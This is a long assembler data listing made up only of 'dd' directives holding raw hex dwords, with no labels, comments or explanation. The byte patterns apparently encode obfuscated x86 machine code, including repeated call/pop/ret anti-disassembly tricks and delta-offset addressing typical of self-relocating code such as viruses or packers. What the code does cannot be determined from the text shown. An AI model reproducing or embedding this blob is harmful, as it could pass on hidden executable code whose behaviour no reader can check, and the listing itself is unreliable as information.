		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 96EEED03h, 8B665250h, 0E8310FDFh, 10h, 7E0C58D8h, 0CBB8403Eh
		dd 0F295E1ACh, 0F0116048h, 0BCAEBF66h, 50585A5Fh, 0F45C78BBh
		dd 0BD8B962Fh, 61E18BDh, 0B027B5FFh, 0BF660621h, 95FF0A06h
		dd 61E3049h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0D1C35747h, 287F6F06h, 3EF09798h, 0B9BD8342h, 61E0Dh
		dd 34840Fh, 880F0000h, 6, 30619D8Bh, 6696061Eh,	0E850D88Bh
		dd 5, 9072C27Dh, 0DE96Dh, 158F0000h, 6B9FF2Fh, 2AC54487h
		dd 5F750CE5h, 0EF816696h, 0B5FF5633h, 621B027h,	4D95FFF9h
		dd 6A061E16h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 555DC356h, 4383995Eh, 0B5FF75D5h
		dd 621B027h, 0F98D8960h, 61061E1Dh, 9DD95FFh, 6A061Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 830177C3h, 1E2BD9BDh, 840F0206h, 8Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0EFC35646h, 4B9916B9h
		dd 0E9B3996Eh, 0Ah, 0B018ADE5h,	86F9A44Eh, 858B96F5h, 61E0E2Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B3C35646h
		dd 0C69Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0DBC35646h, 8B494FBBh, 8E9F8h, 0BE2C0000h, 8B3BD6B5h
		dd 95898958h, 61E0ED5h,	1F8185C7h, 61Eh, 7E80000h, 0EB000000h
		dd 50B7D1Bh, 9D0117FDh,	61E1C09h, 0E1B5895Fh, 0E9061E2Ah
		dd 0FFFFF408h, 0C18BDA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 85C35343h, 2097C836h,	96FA6EFh, 1E2FB98Dh
		dd 9E906h, 0A0260000h, 688AFD36h, 29E5DCD4h, 1E1CF19Dh
		dd 0DD858D06h, 0F5061E19h, 0F525050h, 56525031h, 66310F5Bh
		dd 585AFB8Bh, 489585Ah,	0F9BF0F24h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0B13ED1C3h
		dd 184FA404h, 6AA333E2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 830F14D2h, 6, 311DBD8Bh
		dd 858D061Eh, 6226FFCh,	8342F380h, 6A05C0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 665019C3h
		dd 89877DBFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B2DB7C3h, 1E0D7D9Dh, 66006A06h
		dd 38E4F381h, 492337BBh, 6A006A18h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 88C9C356h
		dd 7F3FCB19h, 9D8B1978h, 61E2D69h, 21ED95FFh, 6A061Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 950969C3h, 61E1C3Dh,	94B68D8Dh, 6A0621h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 870BE7C3h
		dd 539E3633h, 0D1FF6AC8h, 0E9FBBF0Fh, 13h, 129F05DDh, 10921630h
		dd 14C2979Ah, 7CDFA005h, 830E762Bh, 1E272DBDh, 850F0106h
		dd 54h,	26AFA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	72C35343h, 6ABA805Fh, 489505Bh,	53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0B2F7F7A2h, 32F995FFh, 9D8B061Eh, 61E0469h, 0DF1E9h
		dd 0E800h, 815D0000h, 227006EDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 6AC4CFE2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 6CEFC357h, 8D1658A2h, 218DFE85h, 0EE906h
		dd 45210000h, 0FF958C33h, 0FD90E28Fh, 3F2D7474h, 66606050h
		dd 8E8F88Bh, 20000000h,	0D2E721EBh, 5AA9A47Eh, 8E861h
		dd 46B0000h, 0C3910346h, 13E87490h, 28000000h, 0B84F44C1h
		dd 983E8620h, 61455FDDh, 0A8371362h, 5E5A7B52h,	24048961h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F1C35141h
		dd 0CF8D2191h, 6820F60h, 89000000h, 1E09AD9Dh, 1850106h
		dd 61061E17h, 35FF64h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 390C357h
		dd 0B1277CFBh, 800FF953h, 6, 41DBD8Bh, 8964061Eh, 25h
		dd 8E900h, 2B90000h, 1108AAA1h,	85FFD4E8h, 61E1D91h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0FF6AA259h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 91C35545h
		dd 0FE901h, 0EBC80000h,	3050D749h, 720A0C44h, 0F9856C68h
		dd 0B5FFFC45h, 61E2931h, 2A398D89h, 0BD09061Eh,	61E0885h
		dd 165595FFh, 12E9061Eh, 89000001h, 1E020585h, 0FC00B006h
		dd 2FE5BD01h, 70E6061Eh, 0BE9h,	0F1248700h, 0AB83019Bh
		dd 534AC79Dh, 958971E4h, 61E07F9h, 830F613Ch, 0E1h, 10E9h
		dd 0ED688900h, 0C5FFABF5h, 5198C2B3h, 1C0C3661h, 7E96Bh
		dd 933D0000h, 0D394EE0Eh, 0C8B60F2Fh, 9A59509h,	6BA061Eh
		dd 0B3000000h, 0C1C18BB6h, 816604E8h, 66EFB0CFh, 0FB8BE2F7h
		dd 8E0FC82Bh, 6, 1A05BD33h, 0D18B061Eh,	7F64F781h, 2E9759Ah
		dd 0B3000000h, 0A1858BA6h, 81061E22h, 8DDAB5CFh, 0D59D8B59h
		dd 83061E01h, 0BD8B07C0h, 61E1C8Dh, 0E800C083h,	0Eh, 7F5A10D2h
		dd 4B6282Dh, 9F51B23h, 8589DA90h, 61E124Dh, 0D03BF95Bh
		dd 0F830Fh, 8D310000h, 61E2079h, 38E9h,	0B7FE8B00h, 0F98D8B68h
		dd 0F061E0Dh, 0E183FFBFh, 22840F01h, 0F000000h,	0A583D8B7h
		dd 61E0DF9h, 3880FFEh, 0F000000h, 9589FEBFh, 61E22A1h
		dd 0BDC9BB66h, 0E9h, 51B58D00h,	660621F8h, 6ADA8Bh, 5D79FFBBh
		dd 0C9853164h, 0FF061E0Eh, 1E26C195h, 499D8906h, 0B9061E31h
		dd 8D5h, 4E19D89h, 0E183061Eh, 56BF66FCh, 6AFCA8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 96054C3h, 1E2C059Dh,	61FE8B06h, 0B8h, 6D9D8B00h, 0BA061E13h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 4AC35343h
		dd 0B450BB56h, 0BF5F27FCh, 72E4B3A5h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 10E9F960h, 53000000h, 17810597h,	0DA123962h
		dd 2DDAD28h, 61DC605Dh,	0D12DBF66h, 2E659589h, 880D061Eh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0F0A1C357h, 0F13E7D8h,	81h, 75958B00h
		dd 6A061E23h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B9DC350h, 1E324D8Dh, 50F88B06h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0BF665358h
		dd 0BF5F85E5h, 336E6E6Ah, 259BD83h, 0F00061Eh, 6C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C76BE4B7h, 0B8C53638h, 0
		dd 0E1D9529h, 8D8D061Eh, 61E4CB8h, 2B618D89h, 9D89061Eh
		dd 61E26B9h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0D10567C3h, 0AA21A476h, 0B7D38088h
		dd 0E9B09BBh, 69BD8364h, 61E31h, 504840Fh, 8B660000h, 69BD83D8h
		dd 1061E31h, 50F840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 5C529BC3h, 0BD760859h
		dd 3169BD83h, 0F03061Eh, 4AA86h, 77BB6600h, 0BF666045h
		dd 8C664F8Fh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9D8B6260h, 61E0271h, 19860Fh, 14E90000h
		dd 84000000h, 83DD7464h, 0CC8354E7h, 0B1F9096Ch, 93AC74Dh
		dd 800E4C8Fh, 9D8B04E1h, 61E136Dh, 840FC90Ah, 1A9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 9CC35242h, 28F70DF0h
		dd 858BD4C0h, 61E1A11h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 4DC35343h, 0DC37D7B6h, 0C8E0Fh, 8F0F0000h
		dd 6, 1F719D8Bh, 0EE9061Eh, 55000000h, 1CF8DAC2h, 4B007F57h
		dd 21B10507h, 0BD85332Dh, 50061E14h, 0DE960h, 0CD310000h
		dd 8C5C7778h, 0CE23C96Ch, 0E9997B04h, 6, 0A0F77568h, 89618BD1h
		dd 0BB662404h, 9D891CFEh, 61E29D9h, 8589006Ah, 61E2329h
		dd 4E8h, 1F03FF00h, 50605300h, 5A310F52h, 615A5358h, 3EB7505Bh
		dd 424448Bh, 12E9h, 0FFAA1E00h,	0EC7C928Ah, 0F23BEF6Bh
		dd 8AB59AFEh, 8B95FCD0h, 24448900h, 13E804h, 0C2580000h
		dd 252A857Fh, 837A10B2h, 116A789Ah, 40B2F5DAh, 18890FACh
		dd 0E9000000h, 13h, 0F468AA81h,	0E200A0C0h, 0FD5D818Bh
		dd 8C2367FFh, 5B4B8D65h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 9BD89BBh, 66061E05h, 0D68DDF81h
		dd 144195FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0C60E9BC3h, 0E8657914h, 5E9h, 0D79F7000h
		dd 8589B5D6h, 621B027h,	23EE9FCh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 1995FEC3h
		dd 472DEC9Eh, 8BA384ECh, 1E0399BDh, 1F858B06h, 6A0621B0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0C333C351h, 758D897Ah, 0C7061E1Fh, 1800h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 8B59B12Dh, 11B58B16h, 8B0FF3h, 89000000h
		dd 1E229DBDh, 23B58B06h, 660621B0h, 0EAE9D381h,	1CC9858Bh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 797490C3h, 0BCCC3305h, 0F0689EEh,	38Ah, 0DE8B6600h
		dd 1A11858Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 2B65FAC3h, 0E8C84279h, 0Fh, 8061B3D2h
		dd 88A3752Ch, 9F15BF23h, 50D73162h, 0DE9h, 7E66C500h, 6FECC0D0h
		dd 0D4AD6905h, 5F5F7443h, 89044689h, 1E2F5D85h,	0B59D8B06h
		dd 50061E33h, 13E8h, 437EAB00h,	0BABF42E6h, 0BAED778Fh
		dd 0EB0E66D5h, 5E64CE7h, 61616060h, 2434895Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A5C35141h, 8914B95Dh
		dd 1E0C8595h, 1FB5FF06h, 6A0621B0h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 66D3C350h
		dd 0ACBBDB81h, 0B82AD568h, 0F88B6605h, 2A243481h, 8905A729h
		dd 1E122185h, 27858D06h, 6A0621B0h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0EDCDC351h
		dd 8B669008h, 0F5650FEh, 285h, 5B616000h, 52006A90h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 9E9C8h, 43610000h, 0A9630B73h, 0FF75DC04h, 1E144195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 39382B5h, 1E17599Dh, 0C8B0BB06h,	0BD314304h
		dd 61E2741h, 443EBB61h,	85C7323Ah, 61E3169h, 3,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5DC35646h, 48C48A61h
		dd 0CE812h, 740D0000h, 547E02C4h, 371B55C8h, 0CF800DC0h
		dd 0BF665B88h, 0BD83924Eh, 621B027h, 38840F00h,	9000000h
		dd 1E323985h, 48E906h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 890DFFC3h, 1E029995h
		dd 40B86006h, 0F16CDFBh, 5061D2B7h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8953CAC3h
		dd 1E1CA9B5h, 14E906h, 64980000h, 407B2D38h, 0A6545CDFh
		dd 0EFC6AB36h, 0AE296CECh, 0BD8387E6h, 61E3169h, 0CC850F03h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 8086C353h, 0D7AAE69Bh,	0FA85A3Bh
		dd 0BD83DFBFh, 621B027h, 98840F00h, 6A000003h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0C1FEC356h, 10CF0EC2h, 133BEF81h, 0B5FF61A7h, 621B027h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9EC35747h
		dd 95FF52B3h, 61E1555h,	2751B589h, 0B58B061Eh, 621B01Bh
		dd 17759589h, 0BD8B061Eh, 61E00C5h, 106C7h, 6A0001h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D2929C3h, 61E26A1h,	11E95750h, 42000000h, 5BFA8BCDh
		dd 0DD4875ABh, 2AAA30Fh, 4DA06374h, 2434895Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CBC35242h, 0CE9A618Dh
		dd 0F7CE145Dh, 27B5FF33h, 290621B0h, 1E1451BDh,	3D95FF06h
		dd 33061E2Bh, 1E1A1DBDh, 1BB58B06h, 8B0621B0h, 1E2EB1BDh
		dd 8BF88B06h, 1E2A2185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A20D7DFDh, 0BE948EFh
		dd 0C5000000h, 5B4B4h, 0F3BEC291h, 86899A6Ah, 0C4h, 0BE9h
		dd 243A5800h, 0FF791EFAh, 4A8C983h, 2375958Bh, 0CE8061Eh
		dd 0F5000000h, 0D521495Dh, 0D88ACDDBh, 0F9D11621h, 4C2835Fh
		dd 31FD9D8Bh, 5089061Eh, 50006A20h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0CF24D5B0h, 8B66CE56h
		dd 0A4858DD9h, 660621C4h, 8689DE8Bh, 0B8h, 0F6F40CBFh
		dd 998D3138h, 6A061E02h, 0B5FFFC00h, 621B027h, 0FFFA8B66h
		dd 1E32F995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9387ABFDh, 0E996E618h, 0Ch, 8BCF8F02h
		dd 52AC06FCh, 0C01D2557h, 8CA6BB50h, 0E996447Fh
		dd 0Bh,	0C789C4Ah, 0E4661B1Eh, 0FF5D31E8h, 21B027B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 56D8895Bh, 0F9F5891h, 0DA18BB55h, 95FF0727h,	61E3049h
		dd 3DCFF381h, 0BD8362CAh, 61E0DB9h, 1C840F00h, 1000000h
		dd 1E04498Dh, 95BD8B06h, 50061E33h, 0A296BF66h,	0F243489h
		dd 28Ch, 0FFFE8B00h, 21B027B5h,	51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0CF26AD93h
		dd 0FF9EEE38h, 1E164D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 13ACDDFFh
		dd 5EE187D9h, 0BF0F9E4Dh, 27B5FFFEh, 6A0621B0h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FF67C350h, 1E09DD95h, 0D9BD8306h, 2061E2Bh,	64840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 67039CC3h, 0EBE563A7h, 667542B4h,	8B4C28BFh
		dd 1E0E2D85h, 0DF816606h, 9D8B63F2h, 61E1445h, 6A0000C6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A2A5C357h, 31C5B557h, 0D38166B0h, 85C72397h
		dd 61E1F81h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 53C35343h
		dd 0E3DC2A42h, 12E9h, 374E5500h, 0AC3641FDh, 33784922h
		dd 6962E7B1h, 0E950AC2Ch, 0FFFFF38Eh, 0AE9h, 0DE4F3A00h
		dd 0E5734561h, 8B99303Bh, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E950CB1Ch
		dd 6, 0EB38C293h, 858DE419h, 61E19DDh, 50DE8B66h, 0E9F08B60h
		dd 9, 0FEDB1059h, 0CF0EC2C1h, 4896110h,	51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0CB6C6613h, 45D8589h, 8960061Eh, 1E05E1B5h, 0CE906h
		dd 0BBBC0000h, 1329FB3Eh, 0C587BD24h, 6A61DBCBh, 89006A00h
		dd 1E2E8D85h, 0DE906h, 0BF5C0000h, 55A615D4h, 0D921A529h
		dd 8D6E03D5h, 22804385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 4DCA0B6Ch, 0F2B8BFD2h
		dd 0E3815C79h, 7116AF19h, 6A05C083h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F0D6C355h
		dd 60527BE7h, 8EB2B4BBh, 0BD896105h, 61E17C5h, 0AF2BB50h
		dd 489528Ch, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 91644FA0h, 259D8B51h, 5F061E31h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 3BD485C3h, 98F0E1A1h, 66D87ACFh, 8166D98Bh
		dd 6A49BDEBh, 0DD852900h, 0FF061E32h, 1E21ED95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD8BA1C5h, 61E2B29h, 94B68D8Dh, 6A0621h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60B381C3h
		dd 0F250E881h, 8D012D30h, 61E2C81h, 0D5958961h,	0FF061E13h
		dd 53006AD1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 7811B8D6h, 0D18D892Bh, 83061E16h, 1E272DBDh
		dd 850F0106h, 7Bh, 0AE9h, 8451C500h, 2D11E7F6h,	6AFB6A5Ah
		dd 8B0F02h, 90000000h, 0DE951h,	0A3E0000h, 266915Ch, 66B3A9D8h
		dd 5BBE7E8Ch, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0DDD72CC3h, 32F995FFh, 6A061Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 94F932C3h, 0C2CF8166h, 0E2EF81ADh, 0E978F864h, 0E4Ch
		dd 0E8h, 0ED815D00h, 622804Dh, 0DE9h, 72CCA00h,	0C3E922Ch
		dd 0C7DC6EE4h, 6AA353h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 1C870EC3h, 10E830D4h, 0EA000000h
		dd 0A44CADD1h, 752945D7h, 1F40BBFEh, 66D4C596h,	5B98F4BFh
		dd 8DFE858Dh, 6A0621h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 932860C3h, 5C26A84Bh, 0D19D0BEDh
		dd 90061E09h, 58F0Fh, 66530000h, 505BF98Bh, 178D0Fh, 12E90000h
		dd 0E3000000h, 0EC30C8C9h, 5398A4BFh, 0C74A4302h, 0ECEACC61h
		dd 6A90D9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 64A382C3h, 35FFh,	64FC0000h, 2589h, 0CE80000h
		dd 54000000h, 903125C3h, 42EBEB12h, 817ECBD2h, 2095BFCBh
		dd 85FF5F77h, 61E1D91h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B9C35141h, 0AB5D4F0Fh, 123A3627h, 2FD99D8Bh
		dd 0CF81061Eh, 4F8C98AFh, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 4AFD76C3h, 40521771h
		dd 69BB108Ch, 601457D1h, 85011BB1h, 61E25C9h, 0A9B5FF61h
		dd 6A061E0Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2FDFC356h, 165595FFh, 0CE9061Eh
		dd 0F000001h, 68Ch, 0DD9D3300h,	0B0061E25h, 0BDBD8900h
		dd 2B061E13h, 1E2F5D9Dh, 6670E606h, 2D46DF81h, 666071E4h
		dd 800FCE8Bh, 6, 2A11B503h, 3C61061Eh, 0D0830F61h, 8B000000h
		dd 1E0279BDh, 0C8B60F06h, 0BAFABF0Fh, 6, 4558D89h, 0C18B061Eh
		dd 5676BF66h, 0F504E8C1h, 0F766DF8Bh, 53C82BE2h, 5FFEBF0Fh
		dd 14E9D18Bh, 0F000000h, 0E89h,	0B58B6000h, 61E0EBDh, 27019D89h
		dd 8B61061Eh, 1E094D85h, 7E56BB06h, 0D3813D4Fh,	517D4695h
		dd 8307C083h, 0BE900C0h, 23000000h, 26E5C42Dh, 71C66537h
		dd 0D03BB85Bh, 11830Fh,	0BD290000h, 61E17ADh, 4EE9h, 5D8D8900h
		dd 8B061E19h, 1E09BD8Dh, 75BD3106h, 83061E27h, 840F01E1h
		dd 33h,	9BDA583h, 89FE061Eh, 1E049595h,	11E906h, 20F30000h
		dd 916E136Bh, 0B745AD00h, 0F7B0370Bh, 89F4CDF5h, 1E094D95h
		dd 29F5BF06h, 0E93F40h,	8D000000h, 220329B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0B2BB6672h, 6A006A22h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 1C06C357h, 0FF3C7425h
		dd 1E26C195h, 65BD8B06h, 0B9061E14h, 90Ch, 1859589h, 0E183061Eh
		dd 0FCD8B3FCh, 13E9h, 33A8100h,	0F1EA4BE5h, 0B6785661h
		dd 0A7E4054h, 20B5389Ch, 5E9h, 0B938E000h, 0C02BAA19h
		dd 8E8h, 0AFC76800h, 3BE0694Eh,	0D38166ADh, 2B5F8E07h
		dd 55006AD2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9B596CFh, 8, 0ECBB9ADCh, 0A5FF4B98h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 62C35747h, 73DA5F2Ch,	8B660870h, 57006ADAh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 199D035Ah, 31061E33h, 1E2279B5h, 880D06h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 70BA46C3h, 0B50960A9h, 61E04C1h, 75958B61h, 89061E23h
		dd 1E1505B5h, 4D8D8B06h, 66061E32h, 4731CB81h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0F7815818h, 57B1D905h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D8C35646h
		dd 6CBC6AA5h, 259BD83h,	0F00061Eh, 2984h, 0C9B52900h, 2B061E0Eh
		dd 1E1A019Dh, 0B806h, 0BD890000h, 61E0231h, 4CB88D8Dh
		dd 8589061Eh, 61E00DDh,	0FF21F780h, 0BD83F9E1h,	61E3169h
		dd 72840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 25CDC355h, 0A1BD8BDBh
		dd 66061E0Dh, 1EC7E781h, 3169BD83h, 0F01061Eh, 45784h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8D29C1F4h, 61E0265h, 3169BD83h, 0F03061Eh
		dd 3F186h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 80B51898h, 0AD331430h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 69CF5DCBh, 8166A257h, 662B63F7h, 6AD98Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3429E2C3h, 1CB1A629h, 0C781D0DEh, 2C80BB47h,	6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 98FC357h,	1E09FD9Dh, 0FC90A06h, 14984h, 8ED78000h
		dd 1A11858Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0D76D4DC3h, 7CE4EA94h, 0DE8FEh
		dd 76C50000h, 0BBE0A30h, 0E3F14CCh, 0E94D19E2h,	0Ah, 54BAE289h
		dd 8A69A8D4h, 0F5B115Ch, 689h, 85B52900h, 33061E22h, 1E14BD85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 502FB7FBh, 5E8h,	0DECF1C00h, 5E997E1h, 82000000h
		dd 0B8765D90h, 2404895Bh, 0BE9h, 0ACF01500h, 1AF25F14h
		dd 0DCB239C2h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0AD636FC3h, 4D044876h, 888D4768h
		dd 81FAB3F6h, 76B82404h, 6A0996h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 7C69D2C3h, 11E8h, 0BA65300h
		dd 572551D4h, 0EA2990CEh, 0C8264CA7h, 99B3D267h, 4195FF5Bh
		dd 81061E14h, 7735A1F7h, 2785897Bh, 6A0621B0h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 998BC352h, 20B77436h, 1D6E94Fh, 858B0000h, 621B01Fh
		dd 2309BD8Bh, 0C7061Eh,	18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 25C35646h, 88234311h, 8E9A3h
		dd 9A3D0000h, 48F0B132h, 0B58BAC4Eh, 621B023h, 1CC9858Bh
		dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 3081B4C3h, 9D8BE02Fh, 61E1F4Dh, 6A0689h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0BB067AC3h, 20BA2577h, 1A11858Bh, 0B960061Eh, 8544FDAh
		dd 2F457BBAh, 46896172h, 21BD8B04h, 96061E12h, 0BE8h, 0F357F000h
		dd 6A0612CDh, 0B0B4619Fh, 0F820Fh, 0AE90000h, 2B000000h
		dd 138F9699h, 8634D032h, 0B7505FDAh, 8B66960Bh,	1FB5FFDAh
		dd 6A0621B0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
